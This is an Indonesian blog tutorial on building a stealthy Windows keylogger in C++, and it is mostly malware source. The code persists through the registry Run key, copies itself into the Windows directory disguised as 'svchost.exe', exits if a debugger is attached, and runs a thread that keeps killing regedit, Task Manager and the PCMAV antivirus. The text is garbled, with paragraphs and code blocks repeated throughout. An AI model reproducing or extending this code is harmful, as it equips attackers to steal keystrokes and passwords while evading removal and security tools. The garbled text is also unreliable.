Keylogger atau Perekam Ketikan
Keylogger
atau Perekam Ketikan merupakan
sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan
untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan
atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan
ketik tersebut ke dalam sebuah berkas catatan (log file). Beberapa perekam
ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail]
tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa
digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk
memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti
kejahatan. Kepentingan yang buruk antara lain pencurian data dan password.
(wikipedia)
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa
digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk
memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti
kejahatan. Kepentingan yang buruk antara lain pencurian data dan password.
(wikipedia)Beberapa
kelebihan keylogger pada artikel ini?
- Keylogger berbasis API,full
written in C++,mudah dikembangkan.
- Size keylogger yang relatif
kecil, hanya 20-30 KB tanpa dikompresi.
- Mempunyai fitur self copy,auto
startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat
membahayakan keylogger
- Tidak mempunyai GUI, sehingga
tidak tampak di Tab App pada task manager
- No dependency, tidak usah
membawa “beban” seperti keylogger yang dibuat dengan VB classic
- Silahkan ditambah sen
7.
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
8.
Lanjut ke tahap pembuatan fungsi lainnya
untuk membuat keylogger yang lebih powerfull
9.
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
10. [crayon
lang="c++"]
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
11. ATOM
MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
12. //EP
section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
13. [/crayon]
14. Contoh
Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan namasvchost kemudian membuat key untuk auto startup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan namasvchost kemudian membuat key untuk auto startup:
15. [crayon
lang="c++"]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, “\\”);
strcat(szPath,”svchost.exe”);
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, “svchost system”, szPath);
[/crayon]
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, “\\”);
strcat(szPath,”svchost.exe”);
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\Currentversion\\Run”, “svchost system”, szPath);
[/crayon]
16. Anti
Debug
[crayon lang="c++"]
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
[/crayon]
[crayon lang="c++"]
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
[/crayon]
17. Monitoring
proses aktif dan melakukan aksi kill proses yang dianggap membahayakan
keylogger
18. Preprocessor
[crayon lang="c++"]#include tlhelp32.h[/crayon]
[crayon lang="c++"]#include tlhelp32.h[/crayon]
19. Deklarasi
Variabel
[crayon lang="c++"]
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
[/crayon]
[crayon lang="c++"]
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
[/crayon]
20. Fungsi
Proses Killer:
[crayon lang="c++"]
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
[crayon lang="c++"]
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
21. PROCESSENTRY32
pe32;
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}[/crayon]
Penggunaan Killer Proses
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat

while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}[/crayon]
Penggunaan Killer Proses
22. [crayon
lang="c++"]
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc(“regedit.exe”);
KillProc(“taskman.exe”);
KillProc(“PCMAV.exe”);
}
return EXIT_SUCCESS;
}
[/crayon]
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc(“regedit.exe”);
KillProc(“taskman.exe”);
KillProc(“PCMAV.exe”);
}
return EXIT_SUCCESS;
}
[/crayon]
23. Membuat
thread baru untuk menjalankan fungsi monitoring dan killer proses:
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
[crayon lang="c++"]
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
[/crayon]
24. Oia
fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
25. Mungkin
dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? masalah itu anda hrs kreatif sendiri,,,krn di google/search engine jeprah gan ok
26. Akhir
kata,selamat ber-coding dan berimajinasi
hati-hati
0 comments:
Post a Comment